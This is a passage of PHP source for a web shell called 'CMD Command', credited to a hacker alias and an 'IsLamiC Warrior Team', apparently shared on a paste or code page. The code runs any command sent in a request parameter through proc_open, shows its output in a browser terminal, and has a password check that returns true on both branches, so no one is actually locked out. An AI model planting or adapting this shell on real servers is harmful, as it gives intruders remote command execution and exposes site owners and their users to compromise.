  884. class phpTerm {
  885. function formatPrompt() {
  886. $user=shell_exec("whoami");
  887. $host=explode(".", shell_exec("uname -n"));
  888. $_SESSION['prompt'] = "".rtrim($user).""."@"."".rtrim($host[0])."";
  889. }
  890. function checkPassword($passwd) {
  891. if(!isset($_SERVER['PHP_AUTH_USER'])||
  892. !isset($_SERVER['PHP_AUTH_PW']) ||
  893. !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
  894. $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
  895. @session_start();
  896. return true;
  897. }
  898. else {
  899. @session_start();
  900. return true;
  901. }
  902. }
  903. function initVars()
  904. {
  905. if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset']))
  906. {
  907. $_SESSION['cwd'] = getcwd();
  908. $_SESSION['history'] = array();
  909. $_SESSION['output'] = '';
  910. $_REQUEST['command'] ='';
  911. }
  912. }
  913. function buildCommandHistory()
  914. {
  915. if(!empty($_REQUEST['command']))
  916. {
  917. if(get_magic_quotes_gpc())
  918. {
  919. $_REQUEST['command'] = stripslashes($_REQUEST['command']);
  920. }
  921. // drop old commands from list if exists
  922. if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
  923. {
  924. unset($_SESSION['history'][$i]);
  925. }
  926. array_unshift($_SESSION['history'], $_REQUEST['command']);
  927. // append commmand */
  928. $_SESSION['output'] .= "{$_SESSION['prompt']}".":>"."{$_REQUEST['command']}"."\n";
  929. }
  930. }
  931. function buildJavaHistory()
  932. {
  933. // build command history for use in the JavaScript
  934. if (empty($_SESSION['history']))
  935. {
  936. $_SESSION['js_command_hist'] = '""';
  937. }
  938. else
  939. {
  940. $escaped = array_map('addslashes', $_SESSION['history']);
  941. $_SESSION['js_command_hist'] = '"", "' . implode('", "', $escaped) . '"';
  942. }
  943. }
  944. function outputHandle($aliases)
  945. {
  946. if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command']))
  947. {
  948. $_SESSION['cwd'] = getcwd(); //dirname(__FILE__);
  949. }
  950. elseif(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs))
  951. {
  952. // The current command is 'cd', which we have to handle as an internal shell command.
  953. // absolute/relative path ?"
  954. ($regs[1][0] == '/') ? $new_dir = $regs[1] : $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  955. // cosmetics
  956. while (strpos($new_dir, '/./') !== false)
  957. $new_dir = str_replace('/./', '/', $new_dir);
  958. while (strpos($new_dir, '//') !== false)
  959. $new_dir = str_replace('//', '/', $new_dir);
  960. while (preg_match('|/\.\.(?!\.)|', $new_dir))
  961. $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  962. if(empty($new_dir)): $new_dir = "/"; endif;
  963. (@chdir($new_dir)) ? $_SESSION['cwd'] = $new_dir : $_SESSION['output'] .= "could not change to: $new_dir\n";
  964. }
  965. else
  966. {
  967. /* The command is not a 'cd' command, so we execute it after
  968. * changing the directory and save the output. */
  969. chdir($_SESSION['cwd']);
  970. /* Alias expansion. */
  971. $length = strcspn($_REQUEST['command'], " \t");
  972. $token = substr(@$_REQUEST['command'], 0, $length);
  973. if (isset($aliases[$token]))
  974. $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
  975. $p = proc_open(@$_REQUEST['command'],
  976. array(1 => array('pipe', 'w'),
  977. 2 => array('pipe', 'w')),
  978. $io);
  979. /* Read output sent to stdout. */
  980. while (!feof($io[1])) {
  981. $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8');
  982. }
  983. /* Read output sent to stderr. */
  984. while (!feof($io[2])) {
  985. $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8');
  986. }
  987. fclose($io[1]);
  988. fclose($io[2]);
  989. proc_close($p);
  990. }
  991. }
  992. } // end phpTerm
  993. /*##########################################################
  994. ## The main thing starts here
  995. ## All output ist XHTML
  996. ##########################################################*/
  997. $terminal=new phpTerm;
  998. @session_start();
  999. $terminal->initVars();
  1000. $terminal->buildCommandHistory();
  1001. $terminal->buildJavaHistory();
  1002. if(!isset($_SESSION['prompt'])): $terminal->formatPrompt(); endif;
  1003. $terminal->outputHandle($aliases);
  1004. header('Content-Type: text/html; charset=UTF-8');
  1005. echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
  1006. /*##########################################################
  1007. ## safe mode increase
  1008. ## bloque fonction
  1009. ##########################################################*/
  1010. ?>
  1011. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  1012. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  1013. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  1014. <head>
  1015. <title>\-( CMD Command )-/</title>
  1016. <script type="text/javascript" language="JavaScript">
  1017. var current_line = 0;
  1018. var command_hist = new Array(<?php echo $_SESSION['js_command_hist']; ?>);
  1019. var last = 0;
  1020. function key(e) {
  1021. if (!e) var e = window.event;
  1022. if (e.keyCode == 38 && current_line < command_hist.length-1) {
  1023. command_hist[current_line] = document.shell.command.value;
  1024. current_line++;
  1025. document.shell.command.value = command_hist[current_line];
  1026. }
  1027. if (e.keyCode == 40 && current_line > 0) {
  1028. command_hist[current_line] = document.shell.command.value;
  1029. current_line--;
  1030. document.shell.command.value = command_hist[current_line];
  1031. }
  1032. }
  1033. function init() {
  1034. document.shell.setAttribute("autocomplete", "off");
  1035. document.shell.output.scrollTop = document.shell.output.scrollHeight;
  1036. document.shell.command.focus();
  1037. }
  1038. </script>
  1039. <style type="text/css">
  1040. body {font-family: sans-serif; color: black; background: white;}
  1041. table{width: 600px; height: 300px; border: 1px #000000 solid; padding: 0px; margin: 0px;}
  1042. td.head{background-color: #529ADE; color: #529ADE; font-weight:700; border: none; text-align: center; font-style: italic}
  1043. textarea {width: 100%; border: none; padding: 2px 2px 2px; color: #529ADE; background-color: #000000;}
  1044. p.prompt {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #529ADE;}
  1045. input.prompt {border: none; font-family: monospace; background-color: #000000; color: #529ADE;}
  1046. </style>
  1047. </head>
  1048. <body onload="init()" style="background-color:#000000">
  1049. <h2>POwER CoMMaNdE</h2>
  1050. <?php if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 26; ?>
  1051. </div>
  1052. <div align="center">
  1053. <table cellpadding="0" cellspacing="0">
  1054. <tr><td class="head" style="color: #000000;"><b>PWD :</b></td>
  1055. <td class="head"><?php echo $_SESSION['prompt'].":"."$_SESSION[cwd]"; ?>
  1056. </td></tr>
  1057. <tr><td width='100%' height='100%' colspan='2'><form name="shell" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
  1058. <textarea name="output" readonly="readonly" cols="85" rows="<?php echo $_REQUEST['rows'] ?>">
  1059. <?php
  1060. $lines = substr_count($_SESSION['output'], "\n");
  1061. $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
  1062. echo rtrim($padding . $_SESSION['output']);
  1063. ?>
  1064. </textarea>
  1065. <p class="prompt"><?php echo $_SESSION['prompt'].":>"; ?>
  1066. <input class="prompt" name="command" type="text" onkeyup="key(event)" size="50" tabindex="1">
  1067. </p>
  1068. <? /*<p>
  1069. <input type="submit" value="Execute Command" />
  1070. <input type="submit" name="reset" value="Reset" />
  1071. Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
  1072. </p>
  1073. */?>
  1074. </form></td></tr>
  1075. </div>
  1076. </table>
  1077. </div>
  1078. </body>
  1079. </html>
  1080. <?php ?><html><head><title>#Commanders - Private By Mr.H4rD3n - IsLamiC Warrior Team</title></head><body bgcolor="BLACK" background="http://localhost/a/matrix-animated-image.gif" style="background-color:#000000"></body></html></html><?php
  1081. }
  1082. //------------------------------------------------------------------------------------------------
  1083. ?>
  1084. <?php
  1085. }
  1086. // End Shell
  1087. //-------------------------------------------------------------------------------------------------
  1088. ?>
  1089. <br /><br /><br /><font color="#23B627"><br />
  1090. </font>
  1091. <div class="end">
  1092. <p align="center"><font color="#FFFFFF"><b>––•(-• © Copyright Mr.H4rD3n [All rights reserved] •-)•––</b><br />
  1093. </font><font face="Verdana"><font color="#23B627">
  1094. <a href="mailto:exploit-id@hotmail.com"><span style="text-decoration: none">
  1095. <font color="#000000">My Email</font></span></a></font> | <font color="#23B627">
  1096. <a href="http://facebook.com/Mr.H4rD3n"><span style="text-decoration: none">
  1097. <font color="#000000">Facebook</font></span></a></a></font><a href="http://facebook.com/Mr.H4rD3n"><span style="text-decoration: none"><font color="#000000">
  1098. </font></span></a>:) </font>
  1099. <font color="#FFFFFF"> <br />
  1100. \m/ <b>Greetz to</b> : Dr-AngeL - X-Line - Ghost.0f.Morocco - xMjahd - 4chrf -
  1101. KhantastiC - X internet - And yOu ! \m/<br />
  1102. "" WE ARE MUSLIMS, WE CAN NOT HARM ANY SITE I HOPE TO USE THIS TOOL ONLY WHAT
  1103. PLEASE GOD "" </font>
  1104. </p>
  1105. </div>
  1106. </body>
  1107. </html>

comments powered by Disqus